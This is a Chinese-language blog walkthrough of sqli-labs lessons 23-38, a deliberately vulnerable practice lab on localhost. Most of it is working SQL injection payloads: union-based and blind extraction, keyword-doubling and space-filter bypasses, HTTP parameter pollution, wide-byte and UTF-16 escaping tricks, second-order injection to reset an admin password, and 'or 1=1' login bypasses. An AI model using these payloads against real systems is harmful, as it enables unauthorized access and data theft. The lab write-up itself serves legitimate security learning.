Sqli-lab实验Task2(less23-38)

作者 折戟 日期 2019-04-15
Sqli-lab实验Task2(less23-38)

Sqli-labs实验Task2(less23-38)

Less-23

进入实验页面可以看到又回到了最开始的类型,我们尝试一下有没有注入。
判断是否存在注入:

$ http://127.0.0.1/sqli-labs-master/Less-23/?id=1’

1.png
根据报错可以知道是使用单引号闭合的,继续测试。
猜测字段数:

$ http://127.0.0.1/sqli-labs-master/Less-23/?id=1' order by 1 -- #

但是发现无论怎样都报错了,显示语句有错误,猜测并经过后面的源代码查看可知是代码将—和#的注释和转义了,所以才会出错,这个时候我们就只能对后面剩余的单引号进行闭合了。
敏感信息获取:

$ http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,user(),3 and '1'='1

2.png
这个比较简单,过滤了注释符号我们只需要注意闭合后面的单引号就行了

Less-24

这个是一个登陆界面的注入测试,首先看到和之前有一些不一样,下面有忘记密码和新用户注册,忘记密码的页面一般是存在注入可能性比较高的地方,去这个页面试试 :
3.png
这……这样子啊。还有一个注册界面,可以直接注册一个账号。
我们尝试在登陆界面进行注入测试,发现无法成功,很可能注入的点不在这。这个实验的题目叫做Second Degree injection,二次注入,思考思考,问题肯定没这么简单,我们先注册一个,然后登陆试试。
4.png
成功登陆后竟然还有修改密码的功能,放这里肯定没有,既然外面不能注入,那么很有可能在这里注入了。Have a try!
额,经过一些测试,发现还是不能注入,那么问题出在哪里呢?
进行代码审计看一下源代码:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

可以看到在pass_change.php这个文件里面没有对传入的username进行过滤。这样子,我们理一下思路,如果我们新注册一个用户名叫admin’ #然后我们登录了更改密码是不是就可以把admin 的密码改了呢?继续尝试一下。
5.png
登录之后更改密码为123,然后登出。然后用admin和123登录。成功!
6.png
这个实验的思路特别巧妙,基本没有代码审计的话很难会找到注入的点,所以没有及其敏感的意识很难找到漏洞。

Less-25

这个题很简单,我们一进页面就可以看到,告诉我们所以得or和and不能被使用,应该都被过滤了。这样有过一点经验的朋友一定很快就反应过来,这很简单了,绕过这种注释的方法有很多,比如编码转换或者大小写,双写绕过等,我们来试试看。
检查注入猜字段:

$ http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ order by 3 #

7.png
可以看到连order by里面的or都被过滤了。我们试试大小写绕过,发现不行,试试双写绕过:

$ http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ oorrder by 3 -- #

8.png
哈哈,可以,这样就很简单了!后面的过程就都差不多了。

Less-25a

这个和上一个差不多,也是提示or和and被过滤了。就是没有报错,试试双写绕过:

$ http://127.0.0.1/sqli-labs-master/Less-25a/?id=1 oorrder by 3 -- #

成功执行,试试敏感信息获取:

$  http://127.0.0.1/sqli-labs-master/Less-25a/?id=0 union select user(),database(),1 -- #

可以看到成功获取了,这里和上一个差不多,用的or和and的时候双写绕过就行。这个和上一个不一样的地方就在于这里是盲注,没有报错,上一个可以根据报错判断一些东西。

Less-26

这一次也是一样,我们的空格和注释不能用了,空格和注释被过滤了。试试用%20替换,发现也不行。注释也被过滤了那用注释绕过空格也不行了。换其他绕过方法试试。
测试过程中发现or和and还是继续被过滤所以记得双写。
试试利用括号绕过的盲注:

$  http://127.0.0.1/sqli-labs-master/Less-26/?id=1'anandd(ascii(mid(user(),1,1))=114)anandd'1'='1

9.png
成功绕过!这个是利用括号来绕过空格执行sql语句的方法,一般使用于盲注,可以看到我选择的是user用户名的第一个字符r的ascii码刚好对于114,成功输出。如果后面的条件不成立就不输出,这样就可以盲注啦。注意双字节绕过or和and。因为注释也被过滤了,所以也要注意对后面的引号进行闭合。

Less-26a

这个也是一样过滤了注释和空格。这个和上个差不多只是把报错给过滤了,使我们看不到报错,不过对于盲注来说这没有太大的影响,我们使用上一个的语句依旧可以注入!

Less-27

这一次更狠,union和select被过滤了。经过简单的测试我们发现,这次没有过滤and,or,但过滤了空格和注释。
简单的测试一下:

$  http://127.0.0.1/sqli-labs-master/Less-27/?id=1' and '1'='1

成功的,那么对于过滤了union和select。但是发现union双写可以绕过,select双写不行,但是大小写能绕过,那就很简单了,和之前的注入差不多:

$  http://127.0.0.1/sqli-labs-master/Less-27/?id=1'and(ascii(mid(user(),1,1))=114)and'1'='1

语句和之前的差不多,主要是绕过空格的,而遇到有select和union的语句只需要大小写绕过就可以了!

Less-27a

原本以为这个和上个差不多,但是发现执行语句:

$  http://127.0.0.1/sqli-labs-master/Less-27a/?id=1'and(ascii(mid(user(),1,1))=1144)and'1'='1

返回正常显示id=1的数据,无论我ascii的值输入多少都显示这个页面。
测试后发现这个闭合时双引号。换成语句:

$ http://127.0.0.1/sqli-labs-master/Less-27a/?id=1"and(ascii(mid(user(),1,1))=114)and"1"="1

其他的和之前都差不多。

Less-28

这一次可以根据页面提示看到union和select被过滤了。
尝试猜测闭合:

$ http://127.0.0.1/sqli-labs-master/Less-28/?id=1')and('1')=('1

正常返回说明单引号闭合。且存在注入,过滤空格,注释。
获取数据:

$ http://127.0.0.1/sqli-labs-master/Less-28/?id=1')and(ascii(mid(user(),1,1))=114)and('1')=('1

和27差不多。只是闭合方式不同

Less-28a

这里只有union和select被过滤,其他的都没被过滤。这个就更简单了,只需要绕过union和select就足够了,参考上面几个很容易就可以成功注入。
随便给一个例子:

$ http://127.0.0.1/sqli-labs-master/Less-28a/?id=0') unionunion select select user(),database(),1 and ('1')=('1

环境配置说明(less29-32)

这四个实验使用到waf,基本原理可以看一下网上的一些博客,大多都有详细说明,比如:http://www.cnblogs.com/lcamry/p/5762961.html。
因为我使用的是phpstudy,所以也大概说一下我是如何配的。

  1. 下载tomcat,解压就行。
  2. 将tomcat-files.zip解压到tomcat服务器webapp/ROOT目录下,并将29,30,31里的跳转url改为我们自己的。每个人不同,比如我的跳转url设置的是http://127.0.0.1/sqli-labs-master/Less-29/index.php?id=1。32里面要设置数据库的连接密码。
  3. 下载安装好java环境,可在cmd输入javac测试。
  4. 将下载的mysql-connector-java.jar文件放到tomcat解压文件夹的lib文件夹中
  5. 点击tomcat/bin/startup.bat文件启动tomcat就可以啦。弹出的jar文件不能关掉,不然不能访问tomcat了。
    然后我们就可以通过访问(tomcat默认开启8080端口)tomcat目录里面的四个实验进行测试了!

    Less-29

    可以看到这里页面提示是是使用了世界上最强大的waf,废话不多说我们之间进行挑战看一看。
    首先判断闭合情况:
    $ http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=1'

稍微解释一下,因为我们是tomcat和apache两重的服务器端的,所以我们需要进行两个id的传参,那么如果前后两个传递的不相等会怎么样呢?
10.png
如果是id=1&id=2,那会显示什么呢?
apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
此处应该是id=2的内容,因为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。
那么继续测试,我们使用单引号进行闭合了,看看页面相应:
11.png
已经很明显就知道是单引号闭合了。
后面其实就很简单了,获取敏感信息:

$ http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=0'  union select 1,user(),database() -- #

很容易获取,但是虽然看着很简单,我们进行代码审计可以看到,这是因为jsp代码中只对tomcat的传参进行了过滤,并没有对后面apache传入的进行防范,所以很容易就成功了。
其他的可以自己构造语句进行测试。

Less-30

这个和上个差不多,只不过把报错屏蔽了,把闭合换成了双引号。

$ http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=0" union select 1,user(),database() -- #

其他可自己继续进行测试。

Less-31

依旧差不多,有错误提示,闭合是双引号加括号。

$ http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=0")  union select 1,user(),database() -- #

Less-32

这一次不一样了,试了很多闭合发现依旧正常返回,第一个反应就是不是第二个传参,而是第一个传参,所以对第一个进行测试:

$ http://127.0.0.1:8080/sqli-labs/Less-32/index.jsp?id=1') -- #&id=1

多试几次便可知道闭合方式是单引号加括号。
敏感信息获取:

$ http://127.0.0.1:8080/sqli-labs/Less-32/index.jsp?id=1') union select 1,user(),database() -- #&id=1

突然发现这里还没有限制输出。。。

Less-33

回到之前的apache的服务器的实验链接。
首先观察一下新的挑战的页面的提示多了一行。上面一行是我们的传参,下面一行是我们输入的十六进制编码之后的数,我们可以用hackbar进行hex encode看看1编码之后就是31。
12.png
闭合测试:

$ http://127.0.0.1/sqli-labs-master/Less-33/?id=1'

13.png
果然,被过滤了,那么我们就考虑如何绕过这个过滤。在之前也遇到这样的问题我们试着绕过看看。这里是反斜杠过滤,可以看到下面的hex编码是5c,对于这个有着典型的绕过方法—宽字节注入。
大概说一说这个宽字节注入。我们的mysql在使用gbk编码的时候会将两个字符看成一个汉字(前一个字符的ascii码必须大于128才能到汉字的范围)。所以这个时候如果我们构造一个如下的:

$ http://127.0.0.1/sqli-labs-master/Less-33/?id=1%df%27

就会报错!
14.png
15.png
可以看到报错出现一个乱码,因为mysql不支持那个中文字符。同时后面的单引号也逃逸出来了,这就是因为mysql将%df%5c两个字符当成一个汉字来看,我们就绕过来这个反斜杠了。想要了解更多可以google宽字节输入看看。
敏感信息获取:

$ http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27 union select 1,user(),database() -- #

Less-34

这次又回到了登录框的注入。
随便一个万能密码试试:
16.png
果然,又是反斜杠过滤了,这里是post的传参,要过滤反斜杠,参考上面的。因为上面是url传参,所以可以用url编码构造宽字节绕过,但这里是post,我们是否可以构造其他的编码来绕过反斜杠呢?
这里我们使用另一种构造:将utf-8转换为utf-16或 utf-32进行过滤反斜杠。我们通过网上的工具,将utf-8的单引号转换成utf-16的:将’转为utf-16为�’,然后我们就可以用万能密码进行登录了。账号填:

$ �'  or  1=1 -- #

密码随便填就可以成功登陆啦。
17.png

## Less-35
有一个新挑战,尝试闭合发现被反斜杠过滤了,尝试宽字节注入,发现也不行!但是在测试的时候我们发现,这里的id是没有被闭合的。。。。所以直接就可以注入!
​``` bash
$ http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,user(),database() -- #

这个比较简单,不要想多了。

Less-36

这个和上面的差不多:

$ http://127.0.0.1/sqli-labs-master/Less-36/?id=0%df%27 union select 1,user(),database() -- #

宽字节注入。
结合上面的我们也可以利用utf-16进行注入:

$ http://127.0.0.1/sqli-labs-master/Less-36/?id=0%EF%BF%BD%27 union select 1,user(),database() -- #

Less-37

这个和34的差不多,用户填:

$ �'  or  1=1 -- #

密码随便填就可以成功登陆,原理和34差不多。只不过源码部分用不同的函数过滤。

Less-38

emmmmmm这个也很简单:

$ http://127.0.0.1/sqli-labs-master/Less-38/?id=0' union select 1,user(),database() -- #

基本都在前面出现过。
part2的部分也结束了,会尽快把后面的也写上来的!